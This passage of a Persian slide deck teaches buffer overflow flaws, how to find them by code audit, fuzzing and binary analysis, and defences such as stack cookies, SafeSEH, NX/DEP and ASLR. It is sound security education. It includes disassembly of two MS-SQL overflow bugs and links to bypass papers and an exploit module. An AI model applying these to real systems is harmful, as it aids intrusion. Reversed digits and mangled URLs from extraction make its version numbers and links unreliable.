  • 19. ‫حملت سرریز بافر – علت بروز مشکل‬ Vulnerable Function Function’s Purpose Why Vulnerable Memcpy() Copies one part of the memory to another, taking It can place too much data, into too small a buffer, two a source, a destination and a number of thus causing an overflow. bytes as arguments. Gets() Receives data from the user, and places it into a Doesn’t check how much data has been placed in buffer. the buffer, perhaps too much! Sprintf() Places formatted data into a buffer, replacing It doesn’t check how much data is being placed arguments with data, for example ‘%s’, ‘hi’ into the buffer. being written to buffer[5]; would result in not ‘%s’ being placed in the buffer, but ‘hi’. Strcat() Sticks one buffer onto the end of another. Doesn’t check that the data being added will fit within the buffer limits/ Strcpy() Copies the content of one buffer to another. Once again, the destination length is not compared with the source length. 19
  • 20. ‫شناسایی مشکلت امنیتی نرم افزار‬ ‫تکنیک ها و روش های متفاوتی برای شناسایی ضعف های امنیتی موجود در‬ ‫‪‬‬ ‫نرم افزارها وجود دارد‬ ‫‪ ‬بررسی کد )‪(Source-Code Audit‬‬ ‫‪Fuzzing & Fault-Injection ‬‬ ‫‪Binary (Static/Dynamic) Analyze ‬‬ ‫بسته به شرایط ، امکانات ودقت عمل لزم از یک یا ترکیبی از چند روش‬ ‫‪‬‬ ‫برای آنالیز یک نرم افزار استفاده میشود‬ ‫الزامآ پیچیده ترین روش ، همیشه بهینه ترین روش نیست !‬ ‫‪‬‬ ‫اگرچه بسیاری از تکنیک های کشف و شناسایی مشکلت امنیتی بصورت‬ ‫‪‬‬ ‫‪ Automated‬نیز دراختیارهستند ، اما همواره نیاز به یک کاربر مسلط و با‬ ‫تجربه وجود دارد.‬ ‫لزومآ هر مشکل سرریز بافر شناسایی شده ، قابل استفاده برای اجرای‬ ‫‪‬‬ ‫کد/دستور نیست .‬ ‫02‬
  • 21. ‫شناسایی مشکلت امنیتی نرم افزار – ‪Code Audit‬‬ ‫بررسی کد )‪(Source-Code Audit‬‬ ‫‪‬‬ ‫)‪(...()strcat(), strcpy() ,sprintf(), vsprintf‬‬ ‫‪ ‬جستجو برای شناسایی توابع پر خطر‬ ‫‪ ‬کنترل روال برنامه ، برای شناسایی مشکلت منطقی )‪(Logical‬‬ ‫‪ ‬روال جستجو بصورت ‪ ) Static‬بدون اجرای کد ( و ‪ ( Dynamic‬اجرا و بررسی کد (‬ ‫وجود یک تابع آسیب پذیر در کد ، به معنی وجود مشکل امنیتی نیست‬ ‫‪‬‬ ‫بررسی و خواندن کد عملی خسته کننده و زمانبر است.‬ ‫‪‬‬ ‫حتی نرم افزارها و توابع ساده ، متشکل از چندین هزارخط کد میباشند.‬ ‫‪‬‬ ‫یکی از روش های تسریع بررسی ، تمرکز بر روی بخش هایی از کد است که‬ ‫‪‬‬ ‫احتمال وجود مشکل در آنها بالست ) توابع دریافت ورودی ، خواندن و نوشتن‬ ‫داده و ... (‬ ‫12‬
  • 22. ‫شناسایی مشکلت امنیتی نرم افزار – ‪Code Audit‬‬ ‫بررسی کد )‪(Source-Code Audit‬‬ ‫‪‬‬ ‫‪ ‬استفاده از ابزارهای ‪ Automated‬برای بررسی کد‬ ‫ابزارهای آزاد و تجاری بسیاری بدین منظور تولید شده‬ ‫‪‬‬ ‫سرعت عمل این ابزارها در مقایسه با روش معمولی ، بسیار بالست‬ ‫‪‬‬ ‫ابزارها غالبآ برای بررسی یک یا چند زبان برنامه نویسی خاص طراحی میشوند‬ ‫‪‬‬ ‫درصد گزارش های خطا )‪ (False Positive‬در اینگونه ابزارها بالست‬ ‫‪‬‬ ‫این قبیل ابزارها قادر به تشخیص و گزارش مشکلت امنیتی ناشی از خطاهای ‪Logical‬‬ ‫‪‬‬ ‫نیستند‬ ‫استفاده از این ابزارها به تنهایی ، برای بررسی امنیتی یک نرم افزار هرگز کافی نیست‬ ‫‪‬‬ ‫لیستی از ابزارهای ‪ Automated‬برای ‪: Static Code Audit‬‬ ‫‪‬‬ ‫‪http//:en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis ‬‬ ‫‪//:httpsamate.nist.gov/index.php/Source_Code_Security_Analyzers ‬‬ ‫22‬
  • 23. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫‪Fuzzing & Fault-Injection‬‬ ‫‪‬‬ ‫‪ ‬هزینه کمتر در مقایسه با سایر روش ها ، به نسبت بازدهی‬ ‫‪ ‬قابلیت پیاده سازی با پیچیدگی کمتر ، در مقایسه با سایر روش ها‬ ‫‪ ‬بررسی ‪ BlackBox‬نرم افزار برای کشف مشکلت‬ ‫‪ ‬تولید ورودی های تصادفی اما کنترل شده ، که منجر به ایجاد اختلل در‬ ‫روند کار نرم افزار گردد.‬ ‫تغذیه نرم افزار و پارامتر ها با داده های کامل تصادفی‬ ‫‪‬‬ ‫تغذیه نرم افزار و پارامترها در قالب پروتکل ها و استانداردهای مشخص ، اما با‬ ‫‪‬‬ ‫پارامترها و مقادیر تصادفی‬ ‫‪ ‬داده های تولید شده توسط ‪ Fuzzer‬باید آنقدر حساب شده باشند تا از دید‬ ‫نرم افزار قابل دریافت و محاسبه باشند ، و در عین حال آنقدر تصادفی و‬ ‫مامتعارف که بتوانند نرم افزار را دوچار اختلل کنند.‬ ‫32‬
  • 24. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫تکنیک های مختلف ‪: Fuzzing‬‬ ‫‪‬‬ ‫‪Session Data Fuzzers ‬‬ ‫بررسی اطلعات و پارامترهای رد و بدل شده در یک ‪ session‬معتبر وسعی در دستکاری پارامترها و‬ ‫‪‬‬ ‫ارسال آنها‬ ‫پیاده سازی این روش بسیار ساده میباشد‬ ‫‪‬‬ ‫‪Specialized Fuzzers ‬‬ ‫بررسی کلیه پارامترها و خواص یک پروتکل/استاندارد خاص در قالب ‪Fuzzing‬‬ ‫‪‬‬ ‫نیازمند تولید ابزار/اسکریپت خاص برای هر پروتکل‬ ‫‪‬‬ ‫کارآمدی ‪ Fuzzer‬وابسته به کیفیت پیاده سازی پروتکل و تعریف پارامترهای آن برای ‪ Fuzzing‬میباشد‬ ‫‪‬‬ ‫تولید این دسته از ‪ Fuzzer‬ها نیازمند اشراف کامل و دقیق به پروتکل تحت بررسی دارد‬ ‫‪‬‬ ‫استفاده از این قبیل ‪ Fuzzer‬ها نیاز به دانش فنی بالی کاربر ندارد‬ ‫‪‬‬ ‫‪ Fuzzer‬های اختصاصی برای ‪… , SIP , SSL , SMTP , SNMP , RPC‬‬ ‫‪‬‬ ‫‪Generic Fuzzers ‬‬ ‫قابلیت ‪ Fuzzing‬پروتکل های متعدد‬ ‫‪‬‬ ‫کاربر میبایست اقدام به تعریف پروتکل مورد نظر خود تحت امکانات ‪ Fuzzer‬بنماید‬ ‫‪‬‬ ‫تمام پارامترهایی که می بایست بررسی شوند ، توسط کاربر به ‪ Fuzzer‬معرفی میشوند‬ ‫‪‬‬ ‫استفاده از این دسته ‪ Fuzzer‬ها برای کاربران عادی مشکل است‬ ‫‪‬‬ ‫کیفیت تست یک پروتکل خاص توسط این دسته ، در مقایسه با ‪ Specialized Fuzzer‬ها کمتر است.‬ ‫‪‬‬ ‫42‬
  • 25. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫نمیتوان انتظار داشت که همیشه جایگزینی مقدار یک پارامتر در پروتکل با داده ایی بزرگتر ،‬ ‫‪‬‬ ‫از دید نرم افزار معتبر باشد‬ ‫در بسیاری از پروتکل ها )خصوصآ پروتکل های باینری( بدلیل ماهیت داده ها ، نیاز به‬ ‫‪‬‬ ‫تفکیک فیلد های مختلف داده ها از یکدیگر میباشد.‬ ‫حداقل اطلعات مربوط به هر فیلد میتواند شامل سایز فیلد و داده آن فیلد باشد‬ ‫‪‬‬ ‫در صورتی که بدون در نظر گرفتن این مورد اقدام به دستکاری محتوای یک پروتکل گردد،‬ ‫‪‬‬ ‫پارامترهای ‪ Fuzz‬شده یک فیلد ، اطلعات فیلد های بعد از خود را تخریب میکند = غیر‬ ‫معتبر شدن آن درخواست از دید نرم افزار‬ ‫مفهوم ‪ Block Based Fuzzing‬بر همین اصل استوار است . محاسبه پویای سایز هر‬ ‫‪‬‬ ‫فیلد ، کل بسته درخواست و چیدن همه پارامتر های معتبر و تحت بررسی در کنار یکدیگر ،‬ ‫در زمان تولید یک درخواست برای نرم افزار‬ ‫مثال ساده : در بررسی پروتکل ‪ HTTP‬و ارسال یک درخواست ‪ POST‬نمیتوان تنها‬ ‫‪‬‬ ‫پارامترها را دستکاری و ارسال نمود ، بلکه در هر درخواست میبایست مقدار صحیح پارامتر‬ ‫‪ content-lenght‬محاسبه شده و در درخواست درج گردد.‬ ‫‪ ، SPIKE‬یک نمونه ‪ General Fuzzer‬که بر مبنای ‪ Block-Based Fuzzing‬کار‬ ‫‪‬‬ ‫میکند‬ ‫52‬
  • 26. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫اهداف ‪ Fuzzer‬ها و کاربرد آنها‬ ‫‪‬‬ ‫‪ ‬بررسی پروتکل های ارتباطی شبکه )‪Routing protocols, IP‬‬ ‫‪( … , stack‬‬ ‫‪ ‬بررسی پروتکل های تحت شبکه )‪,ssh,ftp,smtp,ssh,http,snmp‬‬ ‫…(‬ ‫‪ ‬بررسی توابع , آرگومان ها و پارامترهای یک نرم افزار خاص‬ ‫‪ ‬بررسی مشکلت مربوط به خواندن )‪ (parse‬اطلعات از فایل ورودی‬ ‫‪ ‬بررسی بسته های نرم افزاری خاص )-‪browser,mail-client,ftp‬‬ ‫‪(clients‬‬ ‫‪ ‬بررسی قابلیت ها و پارامترهای خاص ، در یک پروتکل خاص‬ ‫‪ } . . . ‬هر نوع پارامتر ، داده و یا قابلیتی که به نحوی در روند کار نرم‬ ‫افزار دخیل است! {‬ ‫62‬
  • 27. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫‪Fuzzing Frameworks‬‬ ‫‪‬‬ ‫قابلیت عمل بصورت ‪ Generic Fuzzer‬یا ‪Specialized Fuzzer‬‬ ‫‪‬‬ ‫غالبآ توسط زبان های اسکریپت نویسی تولید میشوند‬ ‫‪‬‬ ‫‪ API‬های مختلفی را برای ‪ Fuzzing‬در اختیار قرار میدهند‬ ‫‪‬‬ ‫از پروتکل های )تحت شبکه( زیادی پشتیبانی میکنند‬ ‫‪‬‬ ‫قابلیت گسترش و افزودن پروتکل های جدید به ‪framework‬‬ ‫‪‬‬ ‫‪ Fuzzer‬ها نسبت به گذشته تحولت بسیاری داشته اند‬ ‫‪‬‬ ‫مانیتور کردن نرم افزار تحت بررسی‬ ‫‪‬‬ ‫کنترل کردن روال اجرای نرم افزار توسط ‪ debugger‬همزمان با ‪Fuzzing‬‬ ‫‪‬‬ ‫فراهم آوردن مجدد شرایط بصورت خودکار ، در صورت بروز اختلل در طول‬ ‫‪‬‬ ‫‪ ) Fuzzing‬مانند ‪ crash‬کردن نرم افزار(‬ ‫مانیتور کردن و ذخیره فعالیت های انجام شده در زمان ‪ Fuzzing‬و ...‬ ‫‪‬‬ ‫“‪“Sulley Fuzzing Framework‬‬ ‫‪‬‬ ‫‪http//:www.fuzzing.org/wp-content/Amini-Portnoy-BHUS07.zip‬‬ ‫72‬
  • 28. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫برخی از ‪ Fuzzer‬های موجود‬ ‫‪‬‬ ‫‪ :PROTOS‬بررسی موثر پروتکل هایی همچون ‪SNMP ,SIP‬و ...‬ ‫‪‬‬ ‫‪ :CodeNomicon‬شرکتی تجاری ، اراده دهنده ‪ Fuzzer‬برای بیش از 08 پروتکل‬ ‫‪‬‬ ‫مختلف ، وابسته به تیم تحقیقاتی بنیانگذار ‪PROTOS‬‬ ‫‪ SMUDGE :General Fuzzing Framework‬برای پروتکل های تحت شبکه‬ ‫‪‬‬ ‫‪ : SPIKE‬یکی از شناخته شده ترین ‪ Fuzzer‬های ‪ General‬برای پروتکل های تحت‬ ‫‪‬‬ ‫شبکه‬ ‫‪ : Peach‬یک ‪ framework‬مبتنی بر ‪ Python‬با پشتیبانی از پروتکل های متعدد‬ ‫‪‬‬ ‫‪ : MangleMe‬یک ‪ fuzzer‬برای بررسی ‪ Browser‬ها‬ ‫‪‬‬ ‫‪ : Mangle‬یک فازر برای بررسی ‪File-format‬‬ ‫‪‬‬ ‫‪IRCfuzz :IRC Client Fuzzer‬‬ ‫‪‬‬ ‫‪COMBust :COM Object fuzzer‬‬ ‫‪‬‬ ‫لیستی از برخی دیگر از ‪ Fuzzer‬های شناخته شده‬ ‫‪‬‬ ‫‪http//:www.fuzzing.org/fuzzing-software ‬‬ ‫82‬
  • 29. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫‪DEMO‬‬ ‫92‬
  • 30. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬ ‫در صورت در دسترس نبودن کد نرم افزار ، این روش بسیار کارآمد ، و درعین حال مشکل‬ ‫‪‬‬ ‫میباشد‬ ‫بسیاری از مشکلت امنیتی که در نرم افزارهای کد باز رفع شده اند هنوز در نرم افزارهای‬ ‫‪‬‬ ‫انحصاری)‪ (closed-source‬دیده میشوند‬ ‫این روش هنوز یک تکنیک نوپا و ناقص بشمار می آید‬ ‫‪‬‬ ‫همانند بررسی کد ، در این روش نیز روند و منطق نرم افزار بررسی میگردد ، اما به روش‬ ‫‪‬‬ ‫مهندسی معکوس!‬ ‫نیازمند درک و تجربه بال در بررسی زبان ماشین‬ ‫‪‬‬ ‫اگرچه تکنیک ‪ Fuzzing‬در بررسی نرم افزارهای ‪ closed-source‬بسیار مفید میباشد اما‬ ‫‪‬‬ ‫بررسی تمام قابلیت ها و توابع نرم افزار توسط ‪ Fuzzing‬بسیار مشکل و گاهآ نا ممکن است‬ ‫)‪(Low Code Coverage‬‬ ‫‪ Binary Audit‬محدوده بیشتری )در واقع کل( از نرم افزار را پوشش می دهد.‬ ‫‪‬‬ ‫همانند بررسی کد ، توابع آسیب پذیر در فایل باینری نیز دارای مشخصه خاص خود هستند‬ ‫‪‬‬ ‫03‬
  • 31. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬ ‫روش ها و دیدگاه های مختلف انجام ‪Static Binary Analyze‬‬ ‫‪‬‬ ‫‪ ‬جستجوی ‪ Pattern‬های مربوط به فراخوانی توابع آسیب پذیر مانند ‪ strcpy,strcat,sprintf‬و سایر موارد‬ ‫مشابه‬ ‫در صورتی که کیفیت کد نرم افزار پایین باشد و یا هدف یک بررسی سریع و سطحی باشد از این روش استفاده میشود‬ ‫‪‬‬ ‫‪ ‬آنالیز و بررسی حلقه ها)‪ (loop‬و توابع ‪ read/write‬مشکوک‬ ‫‪:A variable indexed write into a character array‬‬ ‫‪:A variable indexed write to a local stack buffer‬‬ ‫‪:A write to a pointer, followed by an increment of that pointer‬‬ ‫‪:A sign extended copy from an attacker-controlled buffer‬‬ ‫‪ ‬بررسی منطق نرم افزار . برخی از ضعف های امنیتی هیچ ارتباطی با مشکلت ‪Memory corruption‬‬ ‫نداشته و ناشی از منطق اشتباه نرم افزار در برخورد با داده ها هستند.‬ ‫مثال : مشکل امنیتی ‪IIS Double Decode‬‬ ‫‪‬‬ ‫کشف این دسته از مشکلت توسط ‪ Binary Audit‬بسیار مشکل میباشد‬ ‫‪‬‬ ‫‪ ‬بررسی تفاوت های بین نسخه های مختلف یک برنامه آسیب پذیر )‪(Diffing‬‬ ‫ممکن است جزئیات مشکل امنیتی دقیقآ منتشر نشود ، اما آگاهی از آنها لزم باشد‬ ‫‪‬‬ ‫ممکن است تولید کننده نرم افزار بدون اعلم عمومی ، اقدام به رفع یک مشکل امنیتی در نرم افزار کند‬ ‫‪‬‬ ‫استفاده از ابزارهایی که تفاوت های میان دو نسخه متفاوت از یک فایل را نمایان میکنند )‪(BinDiff‬‬ ‫‪‬‬ ‫-‪http//:www.breakingpointsystems.com/community/blog/exploiting-iis-via-htmlencode‬‬ ‫‪‬‬ ‫‪http//:www.zynamics.com/files/ms08001.swf‬‬ ‫‪‬‬ ‫‪ ‬در همه این موارد ، استفاده از ابزارهای پیشرفته برای کمک به بررسی ، اجتناب ناپذیر است‬ ‫بررسی گراف های رسم شده بر اساس بخش های مختلف نرم افزار ، کار را بسیار آسان تر میکند‬ ‫‪‬‬ ‫قابلیت های رسم گراف در نرم افزار ‪ IDA Pro‬و نرم افزار جانبی ‪BinNavy‬‬ ‫‪‬‬ ‫13‬
  • 32. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬ ‫23‬
  • 33. Binary Analyze -‫شناسایی مشکلت امنیتی نرم افزار‬ ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مثال : مشکل سرریز بافر در‬  ()sprintf mov edx, ]ebp+var_24C8[ ;‫متغیر با سایز4201 بایت که از پکت ارسالی خوانده میشود‬ push edx push offset aSoftwareMic_17 ; ”SOFTWAREMicrosoftMicrosoft SQL Server”... push offset aSSMssqlserverC ; ”%s%sMSSQLServerCurrentVersion” lea eax, ]ebp+var_84[ ; ‫! بافر پشته با سایز821 بایت‬ push eax call ds:sprintf add esp, 10h ()strcpy ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مشکل امنیتی دیگری در‬  mov eax, ]ebp+arg_4[ add eax, ]ebp+var_218[ push eax lea ecx, ]ebp+var_214[ ; ‫بافر پشته با حجم215 بایت که محتوای آن از پکت‬ ‫دریافت شده و بدون کنترل سایز کپی میشود‬ push ecx call strcpy add esp, 8 33
  • 34. ‫شناسایی مشکلت امنیتی نرم افزار‬ ‫سه روش کلی یاد شده هر یک به تنهایی میتوانند نتیجه های خوبی را در حاصل شوند‬ ‫‪‬‬ ‫ترکیب روش های فوق ، بازدهی آنالیز را بسیار افزایش میدهد‬ ‫‪‬‬ ‫یک دیدگاه در این مورد ، ترکیب ‪ Fuzzing‬با آنالیز کد میباشد‬ ‫‪‬‬ ‫‪ ‬همزمان با ‪ ، Fuzzing‬سورس کد نیز بررسی میگردد تا میزان ‪ cove-coverage‬در زمان‬ ‫‪ Fuzzing‬مشخص گردد .‬ ‫‪ ‬با این روش میتوان مشخص کرد که کدام یک از بخش های نرم افزار یا کد توسط ‪ Fuzzer‬پوشش‬ ‫داده شده ، و کدام بخش ها عمل بررسی نشده‬ ‫‪http//:en.wikipedia.org/wiki/Code_coverage ‬‬ ‫دیدگاه دیگر ، ترکیب ‪ Fuzzing‬با آنالیز ‪ Binary‬در زمان اجرای نرم افزار میباشد.‬ ‫‪‬‬ ‫‪ ‬استفاده از ‪ Debugger/Disassembler‬ها برای راهنمایی ‪ Fuzzer‬ها‬ ‫‪ ‬افزایش ‪ Code Coverage‬در ‪Fuzzing‬‬ ‫‪ ‬مقاله جالب “‪http//:uninformed.org/v?=all&a=t&27=pdf “Effective Bug Discovery‬‬ ‫‪ “E volutionaryF uzzingSystem“ ‬یک ‪ framework‬با دیدی جدید نسبت به ‪Fuzzing‬‬ ‫‪ ‬فراگرفتن پروتکل های جدید بصورت پویا و کمک گرفتن از آنالیز نرم افزار در زمان اجرا‬ ‫‪http://www.vdalabs.com/tools/efs_gpf.html ‬‬ ‫43‬
  • 35. ‫مقابله با حملت سرریز بافر‬ ‫اولین و بهترین روش مقابله با این دسته از مشکلت امنیتی ، رعایت نکات امنیتی در زمان‬ ‫‪‬‬ ‫تولید نرم افزار میباشد‬ ‫استفاده از متدلوژی ‪ SDLC‬در تولید نرم افزار‬ ‫‪‬‬ ‫مقابله به روش پیشگیری ، تنها در صورتی ممکن است که سورس کد نرم افزار در دسترس‬ ‫‪‬‬ ‫باشد ،‬ ‫اما مشکلتی نیز وجود دارد !‬ ‫‪‬‬ ‫نرم افزارهای قدیمی‬ ‫‪‬‬ ‫عدم دسترسی به ‪Developer‬‬ ‫‪‬‬ ‫عدم آگاهی ‪ Developer‬از نکات امنیتی‬ ‫‪‬‬ ‫اشتباهات برنامه نویسی‬ ‫‪‬‬ ‫نرم افزار های ‪! Closed-Source‬‬ ‫‪‬‬ ‫راهکارهایی برای مقابله با این قبیل مشکلت وجود دارند ، اما هیچ یک مشکل را بطور کامل‬ ‫‪‬‬ ‫حل نکرده و تنها شرایط برای استفاده از مشکل امنیتی را مشکل تر می کنند .‬ ‫بسته به شرایط و اختیارات و امکانات در دسترس ، از یک یا چند راهکار استفاده میشود.‬ ‫‪‬‬ ‫53‬
  • 36. ‫مقابله با حملت سرریز بافر‬ ‫دیدگاه های مختلفی برای مقابله با حملت سرریز بافر وجود دارد و‬ ‫‪‬‬ ‫بر همین اساس روش های مختلف نیز:‬ ‫‪ ‬تشخیص مشکلت امنیتی در خلل روند تولید ، و گوشزد کردن آنها‬ ‫‪ ‬سعی در پیشگیری از بروز مشکلت سرریز بافر و اضافه کردن تمهیداتی‬ ‫به برنامه ، در زمان کامپایل کردن‬ ‫‪ ‬پیاده سازی تمهیدات امنیتی در سطح سیستم عامل برای تشخیص و یا مقابله‬ ‫با حملت سرریز بافر‬ ‫‪ ‬استفاده از بسته های نرم افزاری الحاقی به سیستم عامل ، برای جبران‬ ‫کمبود های امنیتی سیستم عامل‬ ‫‪ ‬استفاده ازبسته های نرم افزاری جانبی ، برای جبران و یا تکمیل کمبود‬ ‫های امنیتی سیستم عامل‬ ‫‪ ‬ترکیب امکانات امنیتی سیستم عامل با امکانات اراده شده توسط پردازنده‬ ‫63‬
  • 37. ‫مقابله با حملت سرریز بافر‬ ‫کامپایلرهای امن‬ ‫‪‬‬ ‫‪Visual Studio >2003 ‬‬ ‫محافظت در برابر حملت سرریز بافر در ‪Stack‬‬ ‫‪‬‬ ‫اساس بخش زیادی از امنیت در مقابل حملت ‪ stack overflow‬در ویندوز سرور 3002 1‪ SP‬و 2‪ XP SP‬و‬ ‫‪‬‬ ‫نسخه های جدید تر‬ ‫اضافه کردن بخش هایی به کد در زمان کامپایل )‪ (Buffer Security Checks‬برای کنترل صحت ‪return‬‬ ‫‪‬‬ ‫‪ address‬ها و سایر بخش های مهم ‪Stack‬‬ ‫آشنایی با مفهوم ‪Stack Cookies‬‬ ‫‪‬‬ ‫اضافه شده به ‪ Visual Studio‬از نسخه 3002 و فعال بصورت پیشفرض‬ ‫‪‬‬ ‫/‪ GS‬مشکلت امنیتی را حل نمیکند بلکه استفاده از آنها را مشکل میکند‬ ‫‪‬‬ ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی وجود دارد‬ ‫‪‬‬ ‫بازنویسی اشاره گر ‪ SEH‬برای اجرای کد در حافظه‬ ‫‪‬‬ ‫‪http//:www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf‬‬ ‫‪‬‬ ‫استفاده از /‪ SafeSEH‬برای محافظت از اشاره گر ‪ SEH‬و مقابله با مشکل /‪GS‬‬ ‫‪‬‬ ‫کلیه بخش های نرم افزار میبایست توسط این مکانیزم کامپایل شده باشند. وجود برنامه ها / توابع کتابخانه ای محافظت‬ ‫‪‬‬ ‫نشده ، کل سیستم را تهدید میکند‬ ‫‪ ‬ماژول های اضافه شده به ‪( GCC (…, StackGuard , ProPolice‬‬ ‫آستفاده از ایده ‪Stack Canaries‬‬ ‫‪‬‬ ‫قابل استفاده در 1.3> ‪ GCC‬با سویچ -‪fstack-protector‬‬ ‫‪‬‬ ‫فعال بصورت پیشفرض در 1.4> ‪GCC‬‬ ‫‪‬‬ ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی :‬ ‫‪‬‬ ‫‪http//:www.coresecurity.com/files/attachments/Richarte_Stackguard_2002.pdf‬‬ ‫‪‬‬ ‫73‬
  • 38. ‫مقابله با حملت سرریز بافر‬ ‫امکانات ارائه شده توسط پردازنده‬ ‫‪‬‬ ‫‪(NX Bit (No eXecute‬‬ ‫‪‬‬ ‫تقسیم نواحی مختلف حافظه برای ذخیره داده ها و یا دستورات پردازنده‬ ‫‪‬‬ ‫پیدا سازی شده در پردازنده های ‪ Intel‬از نسل ‪ Pentium 4 ،AMD‬و ‪ . SPARC‬پردازنده های 46 بیتی پیش از انواع 23 بیتی به این‬ ‫‪‬‬ ‫قابلیت مجهز شدند‬ ‫پردازنده مجهز به ‪ NX/DX‬به تنهایی قادر به جلوگیری از حملت نیست بلکه این قابلیت میبایست توسط سیستم عامل به کار گرفته شود‬ ‫‪‬‬ ‫تقریبآ تمامی سیستم های عامل کنونی ) نسخ جاری و جدید ( هر یک به نحوی از این قابلیت استفاده میکنند.‬ ‫‪‬‬ ‫‪ NX bit‬در واقع اشاره به آخرین بیت معنی دار از ‪ Page table entry‬در حافظه دارد . 0 بودن این بیت به معنی ‪ executable‬بودن‬ ‫‪‬‬ ‫محتوای این بخش )‪ (page‬و 1 بودن به معانی این است که این بخش تنها حاوی داده ها است.‬ ‫در سیستم های ‪ 32bit‬این بیت در واقع وجود ندارد و این راهکار بصورت ‪ Software Emulated‬اجرا میگردد‬ ‫‪‬‬ ‫‪ NX‬امکان مقابله با حملت ‪ Stack Overflow‬و ‪ Heap Overflow‬را میسر میکند‬ ‫‪‬‬ ‫تمهیدات پیاده سازی شده در سطح سیستم عامل‬ ‫‪‬‬ ‫بسیاری از قابلیت های امنیتی پیاده سازی شده در سطح سیستم عامل مبتنی بر ‪ NX‬میباشد و هر سیستم عامل نسخه و روشی‬ ‫‪‬‬ ‫مربوط به خود را معماری کرده و بکار می برد .‬ ‫در صورت عدم وجود ‪ CPU‬مجهز به ‪ NX‬این قابلیت بصورت کامل مجازی پیاده سازی میگردد‬ ‫‪‬‬ ‫)‪ (A ddressS paceL ayoutRandomization‬یکی دیگر از تکنیک های مورد استفاده برای مقابله با حملت سرریز‬ ‫‪‬‬ ‫بافر میباشد‬ ‫مفهوم ‪ ASLR‬در سیستم عامل های مختلف با نام های مختلفی پیاده سازی شده اما وجوه مشترک بسیاری میان آنها وجود دارد‬ ‫‪‬‬ ‫‪ ASLR‬بصورت تصادفی اقدام به موقعیت دهی به بخش های مختلف یک پروسه در حافظه مینماید که عمومآ شامل ‪Base‬‬ ‫‪‬‬ ‫‪ ، Address‬موقیت قرار گرفتن توابع کتابخانه ایی ، ‪ Stack‬و ‪ Head‬در محدوده آدرس آن پروسه میگردد.‬ ‫83‬
  • 39. ‫مقابله با حملت سرریز بافر‬ ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬ ‫‪‬‬ ‫‪ : FreeBSD ‬پشتیبانی از پردازنده های ‪ NX‬از نسخه 3.5‬ ‫‪ : Linux ‬پشتیبانی از پردازنده های ‪ 32/64bit‬دارای ‪ NX‬از کرنل نسخه 8.6.2‬ ‫کرنل ‪ 32bit‬ارائه شده توسط برخی نگارش ها مانند 6‪OpenSUSE Ubuntu , Fedora C‬‬ ‫‪‬‬ ‫بصورت پیشفرض برای استفاده از ‪ NX‬سخت افزاری تنظیم نشده اند‬ ‫‪ : RedHat ‬پشتیبانی از ‪ NX‬تمامی ‪ CPU‬هاتوسط راهکار اختصاصی . ‪Exec Shield‬‬ ‫‪ Emulated-NX‬تنها بر روی پردازنده های 23‪ IA‬پشتیبانی میگردد. ارائه شده در ‪ FC‬و‬ ‫‪RHEL‬‬ ‫‪ : PAX ‬این تکنولوژی برای پیاده سازی ‪ NX‬در سیستم های فاقد امکان سخت افزاری طراحی شده‬ ‫و کلیه پردازنده های 68‪ x‬را پشتیبانی میکند.‬ ‫کرنل لینوکس هنوز بطور پیشفرض این تکنولوژی را بکار نبرده است‬ ‫‪‬‬ ‫پشتیبانی از ‪,PowerPC ,PA-RISC ,(and 64 bit 32) MIPS ,IA-64 ,AMD64 ,Alpha‬‬ ‫‪‬‬ ‫‪SPARC‬‬ ‫استفاده شده بطور پیشفرض در ‪Adamantix , Hardened Gentoo , Hardened Linux‬‬ ‫‪‬‬ ‫‪ : Mac OSX ‬پشتیبانی از ‪ NX‬پردازنده های اینتل از نسخه 4.01 و کلیه پردازنده های تحت‬ ‫پوشش ‪OSX‬‬ ‫93‬
  • 40. ‫مقابله با حملت سرریز بافر‬ ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬ ‫‪‬‬ ‫‪ : Windows‬پشتیبانی از ‪ NX‬برای اولین بار در معماری 68‪ x‬از نسخه 2‪ XP SP‬و 3002 1‪Server SP‬‬ ‫‪‬‬ ‫ارائه شده تحت نام ‪( DEP (Data Execution Prevention‬‬ ‫‪‬‬ ‫بطور پیشفرض تنها پروسه ها و سرویس های اصلی سیستم عامل محافظت میشوند‬ ‫‪‬‬ ‫در صورت پشتیبانی پردازنده از ‪ NX ،DEP‬بطور خودکار فعال میگردد‬ ‫‪‬‬ ‫در نسخه های اولیه ‪ ، DEP‬از ‪ ASLR‬استفاده نشده ! امکان دور زدن ‪ DEP‬و حتی غیر فعال کردن این مکانیزم توسط حملت -‪return‬‬ ‫‪‬‬ ‫‪ to-libc‬به همین دلیل میسر میشود.‬ ‫مثالی عینی از حمله به ‪ DEP‬حتی با وجود بکار بستن کلیه تمهیدات امنیتی ‪ NX‬و سیستم عامل!‬ ‫‪‬‬ ‫‪http//:metasploit.com/svn/framework3/trunk/modules/exploits/windows/dcerpc/msdns_zonename.rb‬‬ ‫‪‬‬ ‫مقاله ای بسیار جالب از نحوه دور زدن مکانیزم ‪http//:uninformed.org/v?=a&2=4 NX+DEP‬‬ ‫‪‬‬ ‫‪ (SafeSEH (Software DEP‬تکنولوژی دیگری میباشد که به ‪ NX‬ارتباطی نداشته و برای حفاظت علیه حملت برای سو استفاده از‬ ‫‪‬‬ ‫‪ SEH‬پیاده سازی شده است‬ ‫استفاده از این تکنولوژی منوط به استفاده نرم افزار از آن در زمان تولید )کامپایل( است‬ ‫‪‬‬ ‫بکمک ‪ SafeSEH‬سیستم عامل تنها اجازه استفاده از ‪ Exception Handler‬هایی را به نرم افزار میدهد که 